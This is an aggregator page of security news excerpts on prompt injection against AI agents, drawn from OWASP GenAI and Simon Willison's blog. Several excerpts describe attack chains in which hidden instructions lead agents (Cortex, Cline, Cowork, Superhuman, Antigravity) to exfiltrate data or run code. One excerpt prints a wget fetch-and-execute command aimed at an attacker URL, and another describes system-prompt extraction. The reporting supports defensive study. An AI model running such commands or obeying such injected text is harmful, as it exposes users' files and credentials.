Prompt injection

Prompt injection and the security of AI models and agents: attacks that hijack chatbots and AI agents through hidden instructions, jailbreaks, data poisoning and the defences against them, from security researchers, arXiv papers, OWASP and the news, plus any story about these attacks.

OWASP GenAI Security Project Helen Oakley and Venkata (Sai) Kishore Modalavalasa Security

FinBot CTF Is Live: A Hands-On Companion to the OWASP GenAI Security Project

FinBot is a hands-on companion to the OWASP GenAI Security Project, offering an interactive Capture-The-Flag environment built around a simulated financial services application. Designed as the 'Juice Shop for the Agentic AI', it lets builders and defenders explore agentic risks in a live, multi-agent system with real tool access.

Read at OWASP GenAI Security Project

OWASP GenAI Security Project Scott Clinton, Project Co-lead Security

OWASP GenAI Exploit Round-up Report Q1 2026

OWASP GenAI Exploit Round-up Report Q1 2026 Coverage period: January 1, 2026 through April 11, 2026 Overview For the last two years the OWASP GenAI Security Project published a list of the major incidents for the last quarter. This is not designed to be an exhaustive report. This report consolidates major AI-related security incidents and

Read at OWASP GenAI Security Project

Simon Willison SI

Auto mode for Claude Code

Auto mode for Claude Code Really interesting new development in Claude Code today as an alternative to --dangerously-skip-permissions: Today, we're introducing auto mode, a new permissions mode in Claude Code where Claude makes permission decisions on your behalf, with safeguards monitoring actions before they run. Those safeguards appear to be implemented using Claude Sonnet 4.6, as described in the documentation: Before each action runs, a separate classifier model reviews…

Read at Simon Willison

Simon Willison SI

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed. The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README. The attack caused the agent to execute this code: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) Cortex listed cat commands as safe to run without human…

Read at Simon Willison

OWASP GenAI Security Project Scott Clinton, Project Co-lead Security

OWASP GenAI Security Project Expands AI Security Frameworks Ahead of RSA 2026, Celebrates Continued Sponsor Support

New resources, a full week of RSA programming and growing industry adoption mark a milestone moment for the open-source AI security community WILMINGTON, Del. — March 19, 2026 — The OWASP GenAI Security Project (genai.owasp.org), a leading global open-source and expert community, growing to more than 25K members, dedicated to delivering practical guidance and tools

Read at OWASP GenAI Security Project

Simon Willison SI

My fireside chat about agentic engineering at the Pragmatic Summit

I was a speaker last month at the Pragmatic Summit in San Francisco, where I participated in a fireside chat session about Agentic Engineering hosted by Eric Lui from Statsig. The video is available on YouTube. Here are my highlights from the conversation. Stages of AI adoption We started by talking about the different phases a software developer goes through in adopting AI coding tools. 02:45 I feel like there are different stages of AI adoption as a programmer. You start…

Read at Simon Willison

Simon Willison SI

Clinejection — Compromising Cline's Production Releases just by Prompting an Issue Triager

Clinejection — Compromising Cline's Production Releases just by Prompting an Issue Triager Adnan Khan describes a devious attack chain against the Cline GitHub repository, which started with a prompt injection attack in the title of an issue opened against the repo. Cline were running AI-powered issue triage using the anthropics/claude-code-action@v1 action, configured to run Claude Code with --allowedTools "Bash,Read,Write,..." any time any user opened an issue in their…

Read at Simon Willison

Simon Willison SI

Moltbook is the most interesting place on the internet right now

The hottest project in AI right now is Clawdbot, renamed to Moltbot, renamed to OpenClaw. It's an open source implementation of the digital personal assistant pattern, built by Peter Steinberger to integrate with the messaging system of your choice. It's two months old, has over 114,000 stars on GitHub and is seeing incredible adoption, especially given the friction involved in setting it up. (Given the inherent risk of prompt injection against this class of software it's my…

Read at Simon Willison

Simon Willison SI

Claude Cowork Exfiltrates Files

Claude Cowork Exfiltrates Files Claude Cowork defaults to allowing outbound HTTP traffic to only a specific list of domains, to help protect the user against prompt injection attacks that exfiltrate their data. Prompt Armor found a creative workaround: Anthropic's API domain is on that list, so they constructed an attack that includes an attacker's own Anthropic API key and has the agent upload any files it can see to the https://api.anthropic.com/v1/files endpoint, allowing…

Read at Simon Willison

Simon Willison SI

Superhuman AI Exfiltrates Emails

Superhuman AI Exfiltrates Emails Classic prompt injection attack: When asked to summarize the user’s recent mail, a prompt injection in an untrusted email manipulated Superhuman AI to submit content from dozens of other sensitive emails (including financial, legal, and medical information) in the user’s inbox to an attacker’s Google Form. To Superhuman's credit they treated this as the high priority incident it is and issued a fix. The root cause was a CSP rule that allowed…

Read at Simon Willison

Simon Willison SI

First impressions of Claude Cowork, Anthropic's general agent

New from Anthropic today is Claude Cowork, a "research preview" that they describe as "Claude Code for the rest of your work". It's currently available only to Max subscribers ($100 or $200 per month plans) as part of the updated Claude Desktop macOS application. Update 16th January 2026: it's now also available to $20/month Claude Pro subscribers. I've been saying for a while now that Claude Code is a "general agent" disguised as a developer tool. It can help you with any…

Read at Simon Willison

Simon Willison SI

Using Claude in Chrome to navigate out the Cloudflare dashboard

I just had my first success using a browser agent - in this case the Claude in Chrome extension - to solve an actual problem. A while ago I set things up so anything served from the https://static.simonwillison.net/static/cors-allow/ directory of my S3 bucket would have open Access-Control-Allow-Origin: * headers. This is useful for hosting files online that can be loaded into web applications hosted on other domains. Problem is I couldn't remember how I did it! I initially…

Read at Simon Willison

OWASP GenAI Security Project Helen Oakley and Dmitry Raidman Security

Evolving AI Transparency: The Journey of the AIBOM Generator and Its New Home at OWASP

Earlier this year, during RSAC 2025, we introduced something the industry had never seen before: an open-source tool capable of generating an AI Software Bill of Materials (AIBOM) for models on Hugging Face. That launch ignited a wave of interest across the security, AI, and software supply chain communities. It confirmed what many of us

Read at OWASP GenAI Security Project

Simon Willison SI

The Normalization of Deviance in AI

The Normalization of Deviance in AI This thought-provoking essay from Johann Rehberger directly addresses something that I’ve been worrying about for quite a while: in the absence of any headline-grabbing examples of prompt injection vulnerabilities causing real economic harm, is anyone going to care? Johann describes the concept of the “Normalization of Deviance” as directly applying to this question. Coined by Diane Vaughan, the key idea here is that organizations that get…

Read at Simon Willison

OWASP GenAI Security Project John Sotiropoulos Security

OWASP Top 10 for Agentic Applications – The Benchmark for Agentic Security in the Age of Autonomous AI

Introducing the OWASP Top 10 for Agentic AI Applications - our community’s actionable framework for securing autonomous, tool-using AI systems. Built at global scale informed by real incidents, and based on our work already adopted across industry, this release marks a pivotal moment in turning insight into action, and advancing the security of Agentic Applications at the pace of innovation.

Read at OWASP GenAI Security Project

OWASP GenAI Security Project Scott Clinton, Project Co-lead Security

OWASP GenAI Security Project Releases Top 10 Risks and Mitigations for Agentic AI Security

Culmination of over 100 industry leaders’ input and extensive published resources to deliver critical guidance to address Agentic AI Security risks WILMINGTON, Del. — Dec. 10, 2025 — The OWASP GenAI Security Project (genai.owasp.org), a leading global open-source and expert community dedicated to delivering practical guidance and tools for securing generative and agentic AI,

Read at OWASP GenAI Security Project

Simon Willison SI

Claude 4.5 Opus' Soul Document

Claude 4.5 Opus' Soul Document Richard Weiss managed to get Claude 4.5 Opus to spit out this 14,000 token document which Claude called the "Soul overview". Richard says: While extracting Claude 4.5 Opus' system message on its release date, as one does, I noticed an interesting particularity. I'm used to models, starting with Claude 4, to hallucinate sections in the beginning of their system message, but Claude 4.5 Opus in various cases included a supposed "soul_overview"…

Read at Simon Willison

Simon Willison SI

Google Antigravity Exfiltrates Data

Google Antigravity Exfiltrates Data PromptArmor demonstrate a concerning prompt injection chain in Google's new Antigravity IDE: In this attack chain, we illustrate that a poisoned web source (an integration guide) can manipulate Gemini into (a) collecting sensitive credentials and code from the user’s workspace, and (b) exfiltrating that data by using a browser subagent to browse to a malicious site. The attack itself is hidden in 1px font on a web page claiming to offer an…

Read at Simon Willison

Simon Willison SI

Claude Opus 4.5, and why evaluating new LLMs is increasingly difficult

Anthropic released Claude Opus 4.5 this morning, which they call "best model in the world for coding, agents, and computer use". This is their attempt to retake the crown for best coding model after significant challenges from OpenAI's GPT-5.1-Codex-Max and Google's Gemini 3, both released within the past week! The core characteristics of Opus 4.5 are a 200,000 token context (same as Sonnet), 64,000 token output limit (also the same as Sonnet), and a March 2025 "reliable…

Read at Simon Willison